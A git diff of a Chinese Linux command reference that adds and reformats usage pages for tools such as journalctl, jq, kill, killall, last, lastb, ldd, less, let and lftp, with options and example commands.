可以根据特定字段过滤输出。如果过滤的字段比较多,需要较长时间才能显示出来。 + +示例: + +显示本次启动后的所有日志: + +```shell +journalctl -b +``` + +不过,一般大家更关心的不是本次启动后的日志,而是上次启动时的(例如,刚刚系统崩溃了)。可以使用 -b 参数: + +- `journalctl -b -0` 显示本次启动的信息 +- `journalctl -b -1` 显示上次启动的信息 +- `journalctl -b -2` 显示上上次启动的信息 `journalctl -b -2` + +只显示错误、冲突和重要告警信息 + +```shell +journalctl -p err..alert +``` + +也可以使用数字, `journalctl -p 3..1`。如果使用单个 number/keyword,则 `journalctl -p 3` - 还包括所有更高的优先级。 + +显示从某个日期 ( 或时间 ) 开始的消息: + +```shell +journalctl --since="2012-10-30 18:17:16" +``` + +显示从某个时间 ( 例如 20分钟前 ) 的消息: + +```shell +journalctl --since "20 min ago" +``` + +显示最新信息 + +```shell +journalctl -f +``` + +显示特定程序的所有消息: + +```shell +journalctl /usr/lib/systemd/systemd +``` + +显示特定进程的所有消息: + +```shell +journalctl _PID=1 +``` + +显示指定单元的所有消息: + +```shell +journalctl -u man-db.service +``` + +显示内核环缓存消息r: + +```shell +journalctl -k +``` + +**手动清理日志** + +`/var/log/journal` 存放着日志, `rm` 应该能工作. 或者使用 `journalctl`, + +例如: + +清理日志使总大小小于 100M: + +```shell +journalctl --vacuum-size=100M +``` + +清理最早两周前的日志. + +```shell +journalctl --vacuum-time=2weeks +``` diff --git a/command/jq.md b/command/jq.md new file mode 100644 index 00000000000..3a897c26d0e --- /dev/null +++ b/command/jq.md @@ -0,0 +1,190 @@ +jq +=== + +一个灵活的轻量级命令行JSON处理器 + +### 补充说明 + +jq 是 stedolan 开发的一个轻量级的和灵活的命令行JSON处理器,源码请参考 [jq 项目主页](https://github.com/stedolan/jq) + +jq 用于处理JSON输入,将给定过滤器应用于其JSON文本输入并在标准输出上将过滤器的结果生成为JSON。 + +最简单的过滤器是`.`,它将jq的输入未经修改地复制到其输出中(格式设置除外)。 + +请注意,jq 当前仅支持64位双精度浮点数(IEEE754)。 + + +### 安装 + +```bash +# Debian系,如 Ubuntu +sudo apt-get install jq + +# RedHat系, 如 CentOS +yum install jq +``` + +### 语法 + +```bash +jq [options] [file...] +jq [options] --args [strings...] +jq [options] --jsonargs [JSON_TEXTS...] +``` + +### 选项 + +```bash +-c 紧凑而不是漂亮的输出; +-n 使用`null`作为单个输入值; +-e 根据输出设置退出状态代码; +-s 将所有输入读取(吸取)到数组中;应用过滤器; +-r 输出原始字符串,而不是JSON文本; +-R 读取原始字符串,而不是JSON文本; +-C 为JSON着色; +-M 单色(不要为JSON着色); +-S 在输出上排序对象的键; +--tab 使用制表符进行缩进; +--arg a v 将变量$a设置为value; +--argjson a v 将变量$a设置为JSON value; +--slurpfile a f 将变量$a设置为从读取的JSON文本数组; +--rawfile a f 将变量$a设置为包含内容的字符串; +--args 其余参数是字符串参数,而不是文件; +--jsonargs 其余的参数是JSON参数,而不是文件; +-- 终止参数处理; +``` + +### 例子 + +`.`: 以漂亮的方式输出 + +```bash +$ echo '{ "foo": { "bar": { "baz": 123 } } }' | jq '.' +{ + "foo": { + "bar": { + "baz": 123 + } + } +} + +``` + +`.foo, .foo.bar, .foo?`: 获取一个键的值 + +```bash +$ echo '{"foo": 42, "bar": "less interesting data"}' | jq '.foo' +42 +``` + +`.[], .[]?, .[2], .[10:15]`: 数组运算 + +```bash +$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[1]' +{ + "name": "XML", + "good": false +} + +``` + +`[], {}`: 构造一个数组/对象 + +```bash +$ echo '{"user":"stedolan","titles":["JQ Primer", "More JQ"]}' | jq '{user, title: .titles[]}' + +{ + "user": "stedolan", + "title": "JQ Primer" +} +{ + "user": "stedolan", + "title": "More JQ" +} + +``` + +`length`: 计算一个值的长度 + +```bash +$ echo '[[1,2], "string", {"a":2}, null]' | jq '.[] | length' +2 +6 +1 +0 + +``` + +`keys`: 取出数组中的键 + +```bash +$ echo '{"abc": 1, "abcd": 2, "Foo": 3}' | jq 'keys' +[ + "Foo", + "abc", + "abcd" +] + +``` + +`,`: 使用多个过滤器 + +```bash +$ echo '{ "foo": 42, "bar": "something else", "baz": true}' | jq '.foo, .bar' +42 +"something else" + +``` + +`|`: 通过管道将一个过滤器的输出当做下一个过滤器的输入 + +```bash +$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[] | .name' +"JSON" +"XML" + +``` + +`select(foo)`: 如果foo返回true,则输入保持不变 + +```bash +$ echo '[1,5,3,0,7]' | jq 'map(select(. >= 2))' +[ + 5, + 3, + 7 +] + +``` + +`map(foo)`: 每个输入调用过滤器 + +```bash +$ echo '[1,2,3]' | jq 'map(.+1)' +[ + 2, + 3, + 4 +] + +``` + +`if-then-else-end`: 条件判断 + +```bash + $ echo '2' | jq 'if . == 0 then "zero" elif . == 1 then "one" else "many" end' + +"many" + +``` + +`\(foo)`: 在字符串中插入值并进行运算 + +```bash +$ echo '42' | jq '"The input was \(.), which is one less than \(.+1)"' + +"The input was 42, which is one less than 43" + +``` + + diff --git a/command/jwhois.md b/command/jwhois.md index 241f3382e2b..98da794b931 100644 --- a/command/jwhois.md +++ b/command/jwhois.md @@ -1,21 +1,21 @@ jwhois === - + whois 客户端服务 ## 补充说明 **jwhois** searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly on the command line. -### 语法 +### 语法 -``` +```shell jwhois [选项] ``` -### 选项 +### 选项 -``` +```shell --version display version number and patch level --help display this help -v, --verbose verbose debug output @@ -33,20 +33,20 @@ jwhois [选项] > 注:以上英文部分寻求网友协助翻译,翻译结果可发送至 sa(at)linuxde.net,谢谢! -### 实例 +### 实例 显示指定用户信息: -``` -# jwhois root +```shell + jwhois root -//查找root用户信息 +# 查找root用户信息 ``` 查询域名信息: -``` -[root@localhost ~]# jwhois linuxde.net +```shell +[root@localhost ~] jwhois linuxde.net [Querying whois.verisign-grs.com] [Redirected to whois.west263.com] [Querying whois.west263.com] @@ -59,4 +59,3 @@ Registrar WHOIS Server: whois.west263.com ``` - \ No newline at end of file diff --git a/command/kernelversion.md b/command/kernelversion.md index 374179f62a1..2e5fc0b4dae 100644 --- a/command/kernelversion.md +++ b/command/kernelversion.md @@ -1,17 +1,16 @@ kernelversion === - + 打印当前内核的主版本号 ## 补充说明 **kernelversion命令** 用于打印当前内核的主版本号。 -### 语法 +### 语法 -``` +```shell kernelversion ``` - \ No newline at end of file diff --git a/command/kexec.md b/command/kexec.md index 95ca14cf006..af69115698b 100644 --- a/command/kexec.md +++ b/command/kexec.md @@ -1,6 +1,6 @@ kexec === - + 从当前正在运行的内核引导到一个新内核 ## 补充说明 @@ -9,15 +9,15 @@ kexec **kexec的好处:** 要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高。 -### 语法 +### 语法 -``` +```shell kexec(选项) ``` -### 选项 +### 选项 -``` +```shell -l:指定内核映像文件; -e:允许当前被加载的内核; -f:强制立即调用系统调用“kexec”,而不调用“shutdown”; @@ -26,4 +26,3 @@ kexec(选项) ``` - \ No newline at end of file diff --git a/command/kill.md b/command/kill.md index cf4a80e969a..f542d66586b 100644 --- a/command/kill.md +++ b/command/kill.md @@ -1,39 +1,54 @@ kill === -删除执行中的程序或工作 +发送信号到进程。 -## 补充说明 +## 目录 -**kill命令** 用来删除执行中的程序或工作。kill可将指定的信息送至程序。预设的信息为SIGTERM(15),可将指定程序终止。若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用ps指令或job指令查看。 +- [bash内建命令](#内建命令) +- [GNU coreutils中的命令](#外部命令) -### 语法 +## 内建命令 +### 概要 + +```shell +kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... +kill -l [sigspec] ``` -kill(选项)(参数) -xkill # 图形化关闭程序 -``` + +### 主要用途 + +- 发送信号到作业或进程(可以为多个)。 +- 列出信号。 ### 选项 -``` --a:当处理当前进程时,不限制命令名和进程号的对应关系; --l <信息编号>:若不加<信息编号>选项,则-l参数会列出全部的信息名称; --p:指定kill 命令只打印相关进程的进程号,而不发送任何信号; --s <信息名称或编号>:指定要送出的信息; --u:指定用户。 +```shell +-s sig 信号名称。 +-n sig 信号名称对应的数字。 +-l 列出信号名称。如果在该选项后提供了数字那么假设它是信号名称对应的数字。 +-L 等价于-l选项。 ``` ### 参数 -进程或作业识别号:指定要删除的进程或作业。 +pid:进程ID -### 实例 +jobspec:作业标识符 -列出所有信号名称: +### 返回值 -``` - kill -l +返回状态为成功除非给出了非法选项、执行出现错误。 + +### 例子 + +```shell +[user2@pc] kill -l 9 +KILL + +# 列出所有信号名称: +[user2@pc] kill -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 @@ -50,31 +65,127 @@ xkill # 图形化关闭程序 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 63) SIGRTMAX-1 64) SIGRTMAX -``` -只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略, **下面是常用的信号:** +# 下面是常用的信号。 +# 只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略。 -``` -HUP 1 终端断线 +HUP 1 终端挂断 INT 2 中断(同 Ctrl + C) QUIT 3 退出(同 Ctrl + \) -TERM 15 终止 KILL 9 强制终止 -CONT 18 继续(与STOP相反, fg/bg命令) +TERM 15 终止 +CONT 18 继续(与STOP相反,fg/bg命令) STOP 19 暂停(同 Ctrl + Z) ``` -先用ps查找进程,然后用kill杀掉: +```shell +# 以下发送KILL信号的形式等价。当然还有更多的等价形式,在此不一一列举了。 +[user2@pc] kill -s SIGKILL PID +[user2@pc] kill -s KILL PID +[user2@pc] kill -n 9 PID +[user2@pc] kill -9 PID + +[user2@pc] sleep 90 & +[1] 178420 + +# 终止作业标识符为1的作业。 +[user2@pc] kill -9 %1 + +[user2@pc] jobs -l +[1]+ 178420 KILLED ssh 192.168.1.4 + +[user2@pc] sleep 90 & +[1] 181357 + +# 发送停止信号。 +[user2@pc] kill -s STOP 181357 + +[user2@pc] jobs -l +[1]+ 181537 Stopped (signal) sleep 90 + +# 发送继续信号。 +[user2@pc] kill -s CONT 181357 + +[user2@pc] jobs -l +[1]+ 181537 Running sleep 90 & +``` + +### 注意 + +1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 +2. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + +## 外部命令 + +### 概要 + +```shell +kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name... +kill -l [number] | -L +``` + +### 主要用途 +- 发送信号到进程(可以为多个)。 + +- 列出信号。 + +### 选项 + +```shell +-s, --signal signal 要发送的信号,可能是信号名称或信号对应的数字。 +-l, --list [number] 打印信号名称或转换给定数字到信号名称。信号名称可参考文件(/usr/include/linux/signal.h)。 +-L, --table 和'-l'选项类似,但是输出信号名称以及信号对应的数字。 +-a, --all 不要限制“命令名到pid”的转换为具有与当前进程相同的UID的进程。 +-p, --pid 打印目标进程的PID而不发送信号。 +--verbose 打印信号以及接收信号的PID。 +-q, --queue value 使用sigqueue(3)而不是kill(2)。参数value是信号对应的数字。 + 如果接收进程已为此信号安装了处理程序将SA_SIGINFO标记为sigaction(2),则可以获取 + 该数据通过siginfo_t结构的si_sigval字段。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -ps -ef | grep vim -root 3268 2884 0 16:21 pts/1 00:00:00 vim install.log -root 3370 2822 0 16:21 pts/0 00:00:00 grep vim -kill 3268 -kill 3268 --bash: kill: (3268) - 没有那个进程 +### 参数 + +接收信号的进程列表可以是PID以及name的混合组成。 + +PID:每一个PID可以是以下四种情况之一: + +状态|说明 +:--:|:--: +n | 当n大于0时,PID为n的进程接收信号。 +0 | 当前进程组中的所有进程均接收信号。 +-1 | PID大于1的所有进程均接收信号。 +-n | 当n大于1时,进程组n中的所有进程接收信号。当给出了一个参数的形式为“-n”,想要让它表示一个进程组,那么必须首先指定一个信号,或参数前必须有一个“--”选项,否则它将被视为发送的信号。 + +name:使用此名称调用的所有进程将接收信号。 + +### 例子 + +```shell +> sleep 20 & + +# 列出对应的PID。 +> kill -p sleep +23021 ``` +### 返回值 + +- 0 成功。 +- 1 失败。 +- 64 部分成功(当指定了多个进程时)。 + +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 kill`或`info coreutils 'kill invocation'`。 +2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 +3. 与`kill`命令类似的有`xkill`,`pkill`,`killall`等,用于不同的目的和场景。 + +## 参考链接 + +[发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes) + - \ No newline at end of file diff --git a/command/killall.md b/command/killall.md index b1510642f3b..865f9b27d30 100644 --- a/command/killall.md +++ b/command/killall.md @@ -1,21 +1,21 @@ killall === - + 使用进程的名称来杀死一组进程 ## 补充说明 **killall命令** 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。 -### 语法 +### 语法 -``` +```shell killall(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -e:对长名称进行精确匹配; -l:忽略大小写的不同; -p:杀死进程所属的进程组; @@ -27,17 +27,20 @@ killall(选项)(参数) -u:杀死指定用户的进程。 ``` -### 参数 +### 参数 进程名称:指定要杀死的进程名称。 -### 实例 +### 实例 -杀死所有同名进程 - -``` +```shell +# 杀死所有同名进程 killall vi +# 指定向进程发送的信号 +killall -9 vi +# 0信号表示不向进程发送信号, 可通过返回值判断进程是否存在, 0(存在)1(不存在) +killall -0 vi +echo $? ``` - \ No newline at end of file diff --git a/command/last.md b/command/last.md index 96e3a9e6efc..1df770e0d04 100644 --- a/command/last.md +++ b/command/last.md @@ -1,21 +1,21 @@ last === - + 列出目前与过去登入系统的用户相关信息 ## 补充说明 **last命令** 用于显示用户最近登录信息。单独执行last命令,它会读取`/var/log/wtmp`的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。 -### 语法 +### 语法 -``` +```shell last(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:把从何处登入系统的主机名称或ip地址,显示在最后一行; -d:将IP地址转换成主机名称; -f <记录文件>:指定记录文件。 @@ -24,16 +24,16 @@ last(选项)(参数) -x:显示系统关机,重新开机,以及执行等级的改变等信息。 ``` -### 参数 +### 参数 * 用户名:显示用户登录列表; * 终端:显示从指定终端的登录列表。 -### 实例 +### 实例 last命令用了显示用户登录情况,以下是直接显示固定行数的记录: -``` +```shell last -10 root pts/0 221.6.45.34 Tue Dec 17 09:40 still logged in root pts/0 221.6.45.34 Mon Dec 16 09:00 - 11:57 (02:56) @@ -48,4 +48,3 @@ root pts/0 221.6.45.34 Mon Dec 9 09:38 - 11:41 (02:02) ``` - \ No newline at end of file diff --git a/command/lastb.md b/command/lastb.md index ab2b961e0af..04a47dcfb81 100644 --- a/command/lastb.md +++ b/command/lastb.md @@ -1,21 +1,21 @@ lastb === - + 列出登入系统失败的用户相关信息 ## 补充说明 **lastb命令** 用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于`/var/log`目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。 -### 语法 +### 语法 -``` +```shell lastb(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:把从何处登入系统的主机名称或ip地址显示在最后一行; -d:将IP地址转换成主机名称; -f<记录文件>:指定记录文件; @@ -24,29 +24,29 @@ lastb(选项)(参数) -x:显示系统关机,重新开机,以及执行等级的改变等信息。 ``` -### 参数 +### 参数 * 用户名:显示中的用户的登录列表; * 终端:显示从指定终端的登录列表。 -### 实例 +### 实例 首次运行lastb命令会报下的错误: -``` +```shell lastb: /var/log/btmp: No such file or directory Perhaps this file was removed by the operator to prevent logging lastb info. ``` 只需建立这个不存在的文件即可。 -``` +```shell touch /var/log/btmp ``` 使用ssh的登录失败不会记录在btmp文件中。 -``` +```shell lastb | head root ssh:notty 110.84.129.3 Tue Dec 17 06:19 - 06:19 (00:00) root ssh:notty 110.84.129.3 Tue Dec 17 04:05 - 04:05 (00:00) @@ -61,4 +61,3 @@ admin ssh:notty 129.171.193.99 Mon Dec 16 16:52 - 16:52 (00:00) ``` - \ No newline at end of file diff --git a/command/lastlog.md b/command/lastlog.md index a0ff06e90f8..f871c86f823 100644 --- a/command/lastlog.md +++ b/command/lastlog.md @@ -1,6 +1,6 @@ lastlog === - + 显示系统中所有用户最近一次登录信息 ## 补充说明 @@ -9,24 +9,24 @@ lastlog lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志`/var/log/lastlog`的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示` **Never logged** `。注意需要以root身份运行该命令。 -### 语法 +### 语法 -``` +```shell lastlog(选项) ``` -### 选项 +### 选项 -``` +```shell -b<天数>:显示指定天数前的登录信息; -h:显示召集令的帮助信息; -t<天数>:显示指定天数以来的登录信息; -u<用户名>:显示指定用户的最近登录信息。 ``` -### 实例 +### 实例 -``` +```shell lastlog Username Port From Latest root pts/0 221.6.45.34 Tue Dec 17 09:40:48 +0800 2013 @@ -56,4 +56,3 @@ mysql **Never logged in** ``` - \ No newline at end of file diff --git a/command/ld.md b/command/ld.md index eceefaf7353..47146bd236e 100644 --- a/command/ld.md +++ b/command/ld.md @@ -7,32 +7,32 @@ ld **ld命令** 是GNU的连接器,将目标文件连接为可执行程序。 -### 语法 +### 语法 -``` +```shell ld(选项)(参数) ld [options] objfile ... ``` -### 选项 +### 选项 -``` +```shell -o:指定输出文件名; -e:指定程序的入口符号。 ``` -### 参数 +### 参数 目标文件:指定需要连接的目标文件。 ### 实例 -这告诉ld通过将文件“/lib/crt0.o”与“hello.o”和库“libc.a”链接起来,生成一个名为output的文件,该文件将来自标准搜索目录。 +这告诉ld通过将文件 `/lib/crt0.o` 与 `hello.o` 和库 `libc.a` 链接起来,生成一个名为 `output` 的文件,该文件将来自标准搜索目录。 -```bash +```shell ld -o /lib/crt0.o hello.o -lc ld -o output /lib/crt0.o hello.o -lc ``` - + diff --git a/command/ldconfig.md b/command/ldconfig.md index c9b75b75a8f..2774cab8572 100644 --- a/command/ldconfig.md +++ b/command/ldconfig.md @@ -1,6 +1,6 @@ ldconfig === - + 动态链接库管理命令 ## 补充说明 @@ -9,15 +9,15 @@ ldconfig ldconfig通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令。 -### 语法 +### 语法 -``` +```shell ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path... ``` -### 选项 +### 选项 -``` +```shell -v或--verbose:用此选项时,ldconfig将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字。 -n:用此选项时,ldconfig仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf所列的目录。 -N:此选项指示ldconfig不重建缓存文件(/etc/ld.so.cache),若未用-X选项,ldconfig照常更新文件的连接。 @@ -43,4 +43,3 @@ ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|- 7. 再有,诸如libdb-4.3.so文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用strings命令察看),因此仅通过修改文件名以冒充某已被识别的库(如libdb-4.8.so)是行不通的。为此可在编译库的Makefile中直接修改配置信息,指定特别的库名。 - \ No newline at end of file diff --git a/command/ldd.md b/command/ldd.md index 5705ed02ccc..f52a89cb3dd 100644 --- a/command/ldd.md +++ b/command/ldd.md @@ -1,21 +1,21 @@ ldd === - + 打印程序或者库文件所依赖的共享库列表 ## 补充说明 **ldd命令** 用于打印程序或者库文件所依赖的共享库列表。 -### 语法 +### 语法 -``` +```shell ldd(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell --version:打印指令版本号; -v:详细信息模式,打印所有相关信息; -u:打印未使用的直接依赖; @@ -24,17 +24,17 @@ ldd(选项)(参数) --help:显示帮助信息。 ``` -### 参数 +### 参数 文件:指定可执行程序或者文库。 -### 其他介绍 +### 其他介绍 首先ldd不是一个可执行程序,而只是一个shell脚本 ldd能够显示可执行模块的dependency,其原理是通过设置一系列的环境变量,如下:`LD_TRACE_LOADED_OBJECTS、LD_WARN、LD_BIND_NOW、LD_LIBRARY_VERSION、LD_VERBOSE`等。当`LD_TRACE_LOADED_OBJECTS`环境变量不为空时,任何可执行程序在运行时,它都会只显示模块的dependency,而程序并不真正执行。要不你可以在shell终端测试一下,如下: -``` +```shell export LD_TRACE_LOADED_OBJECTS=1 ``` @@ -45,4 +45,3 @@ ldd显示可执行模块的dependency的工作原理,其实质是通过ld-linu 实际上可以直接执行ld-linux.so模块,如:`/lib/ld-linux.so.2 --list program`(这相当于ldd program) - \ No newline at end of file diff --git a/command/less.md b/command/less.md index 494fefb353a..9dfc559bbe6 100644 --- a/command/less.md +++ b/command/less.md @@ -7,15 +7,15 @@ less **less命令** 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键。 -### 语法 +### 语法 -``` +```shell less(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -e:文件内容显示完毕后,自动退出; -f:强制显示文件; -g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度; @@ -24,16 +24,34 @@ less(选项)(参数) -s:将连续多个空行压缩成一行显示; -S:在单行显示较长的内容,而不换行显示; -x<数字>:将TAB字符显示为指定个数的空格字符。 +-r:能够显示设置的颜色。 ``` -### 参数 +### 参数 文件:指定要分屏显示内容的文件。 ## 实例 -```bash +```shell sudo less /var/log/shadowsocks.log + +/字符串:向下搜索"字符串"的功能 +?字符串:向上搜索"字符串"的功能 +n:继续向后搜索 +N:向前搜索 +b: 向后翻一页 +d: 向后翻半页 +u: 向前滚动半页 +y: 向前滚动一行 +Q: 退出less 命令 +空格键: 滚动一页 +回车键: 滚动一行 +[pagedown]: 向下翻动一页 +[pageup]: 向上翻动一页 +G: 移动到最后一行 +g: 移动到第一行 + ``` - + diff --git a/command/let.md b/command/let.md index 989b71bc041..d592ec40370 100644 --- a/command/let.md +++ b/command/let.md @@ -1,37 +1,122 @@ let === - -简单的计算器 -## 补充说明 +简单的计算器,执行算术表达式。 -**let命令** 是bash中用于计算的工具,提供常用运算符还提供了方幂`**`运算符。在变量的房屋计算中不需要加上`$`来表示变量,如果表达式的值是非0,那么返回的状态值是0;否则,返回的状态值是1。 +## 概要 -### 语法 - -``` -let arg [arg ...] #arg代表运算式 +```shell +let arg [arg ...] ``` -### 用法 +## 主要用途 + +- 执行一个或多个算术表达式。 + +## 参数 + +arg:算术表达式 + +## 返回值 + +当`let`最后一个执行的表达式的计算结果为0时返回`1`,否则返回`0`。 +当`let`执行的表达式的除数为0时,返回`1`并报错。 + +## 运算符优先级递减表 + +|**运算符**|**描述**| +|:-------:|:-------:| +|```id++, id--```|```变量后增量、变量后减量```| +|```++id, --id```|```变量预增量、变量预减量```| +|```-, +```|```正号、负号```| +|```!, ~```|```逻辑否、按位取反```| +|```**```|```幂运算```| +|```*, /, %```|```乘法、除法、取余```| +|```+, -```|```加法、减法```| +|```<<, >>```|```按位左移、右移```| +|```<=, >=, <, >```|```比较```| +|```==, !=```|```等于、不等于```| +|```&```|```按位与```| +|```^```|```按位异或```| +|```\|```|```按位或```| +|```&&```|```逻辑与```| +|```\|\|```|```逻辑或```| +|```expr ? expr : expr```|```条件运算符(三元运算符)```| +|```=, *=, /=, %=, +=, -=,```
```<<=, >>=, &=, ^=, \|=```|```赋值```| -自加操作`let no++` -自减操作`let no--` -简写形式`let no+=10`,`let no-=20`,分别等同于`let no=no+10,``let no=no-20` -### 实例 +## 例子 +```shell +# 尝试直接在终端中执行算术表达式(就像在python的IDLE)。 +3+4 +bash:3+4:command not found... +# 换一种方式。 +3 + 4 +bash:3:command not found... +# 看来不行。 ``` -#!/bin/bash -let a=5+4 b=9-3 -echo $a $b + +```shell +# let命令赋值。 +let a=3**4 +echo ${a} +# 显示81。 +# ((...))和let命令等效。 +((a=3**4)) ``` +```shell +# let常用于变量赋值,而外部命令expr可直接返回表达式的值。 +let 3+4 +# 没有显示7。 +# 执行后显示7,注意空格。 +expr 3 + 4 ``` -#!/bin/bash -let "t1 = ((a = 5 + 3, b = 7 - 1, c = 15 - 4))" -echo "t1 = $t1, a = $a, b = $b" + +```shell +# 条件表达式。 +if ((8>4)); then + echo '8 is greater than 4.' +else + echo 'error' +fi +# 注意空格。 +if [[ 12 -le 10 ]]; then + echo 'error' +else + echo '12 is greater than 10.' +fi ``` +```shell +# 可以通过declare命令设置整型属性的方法来进行算术运算。 +# local命令与此类似。 + +# 没有指定整型属性,输出为字符串'a+b'。 +declare a=3 b=4 c +c=a+b +echo ${c} +# 不过可以使用以下方式赋值。 +c=$((a+b)) +echo ${c} +# 显示7 + +# 设置了整型属性就可以直接加了。 +declare -i a=3 b=4 c +c=a+b +echo ${c} +# 同上。 +declare -i a +a=2*3 +echo ${a} +# 显示6。 +``` + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +2. 执行算术计算的命令除了`let`,还有外部命令`expr`、`bc`等。 + - \ No newline at end of file diff --git a/command/lftp.md b/command/lftp.md index 6a46f822f55..f2ce9c6d7cc 100644 --- a/command/lftp.md +++ b/command/lftp.md @@ -1,36 +1,36 @@ lftp === - + 优秀的文件客户端程序 ## 补充说明 **lftp命令** 是一款优秀的文件客户端程序,它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全,记不得命令双击tab键,就可以看到可能的选项了。 -### 语法 +### 语法 -``` +```shell lftp(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -f:指定lftp指令要执行的脚本文件; -c:执行指定的命令后退出; --help:显示帮助信息; --version:显示指令的版本号。 ``` -### 参数 +### 参数 站点:要访问的站点的ip地址或者域名。 -### 实例 +### 实例 **登录ftp** -``` +```shell lftp 用户名:密码@ftp地址:传送端口(默认21) ``` @@ -38,7 +38,7 @@ lftp 用户名:密码@ftp地址:传送端口(默认21) **查看文件与改变目录** -``` +```shell ls cd 对应ftp目录 ``` @@ -47,7 +47,7 @@ cd 对应ftp目录 get当然是可以的,还可以: -``` +```shell mget -c *.pdf #把所有的pdf文件以允许断点续传的方式下载。 mirror aaa/ #将aaa目录整个的下载下来,子目录也会自动复制。 pget -c -n 10 file.dat #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值。 @@ -57,7 +57,7 @@ pget -c -n 10 file.dat #以最多10个线程以允许断点续传的方式下 同样的put、mput都是对文件的操作,和下载类似。 -``` +```shell mirror -R 本地目录名 ``` @@ -65,19 +65,19 @@ mirror -R 本地目录名 **模式设置** -``` +```shell set ftp:charset gbk ``` 远程ftp site用gbk编码,对应的要设置为utf8,只要替换gbk为utf8即可。 -``` +```shell set file:charset utf8 ``` 本地的charset设定为utf8,如果你是gbk,相应改掉。 -``` +```shell set ftp:passive-mode 1 ``` @@ -87,13 +87,13 @@ set ftp:passive-mode 1 其实命令行也可以有书签,在lftp终端提示符下: -``` +```shell bookmark add ustc ``` 就可以把当前正在浏览的ftp site用ustc作为标签储存起来。以后在shell终端下,直接`lftp ustc`就可以自动填好用户名和密码,进入对应的目录了。 -``` +```shell bookmark edit ``` @@ -101,13 +101,13 @@ bookmark edit **配置文件** -``` +```shell vim /etc/lftp.conf ``` 一般,我会添加这几行: -``` +```shell set ftp:charset gbk set file:charset utf8 set pget:default-n 5 @@ -116,4 +116,3 @@ set pget:default-n 5 这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看。 - \ No newline at end of file diff --git a/command/lftpget.md b/command/lftpget.md index 75bc61aba22..f1ada704778 100644 --- a/command/lftpget.md +++ b/command/lftpget.md @@ -1,29 +1,28 @@ lftpget === - + 调用lftp指令下载指定的文件 ## 补充说明 **lftpget命令** 通过调用lftp指令下载指定的文件。 -### 语法 +### 语法 -``` +```shell lftpget(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -c:继续先前的下载; -d:输出调试信息; -v:输出详细信息。 ``` -### 参数 +### 参数 文件:指定要下载的文件,文件必须是合法的URL路径。 - \ No newline at end of file diff --git a/command/lha.md b/command/lha.md index f7e0701b817..b64238a43a5 100644 --- a/command/lha.md +++ b/command/lha.md @@ -1,15 +1,15 @@ lha === - + 压缩或解压缩lzh格式文件 ## 补充说明 **lha命令** 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有`.lzh`扩展名的压缩文件。 -### 选项 +### 选项 -``` +```shell -a或a:压缩文件,并加入到压缩文件内。 -a<0/1/2>/u 压缩文件时,采用不同的文件头。 -c或c:压缩文件,重新建构新的压缩文件后,再将其加入。 @@ -34,13 +34,12 @@ lha 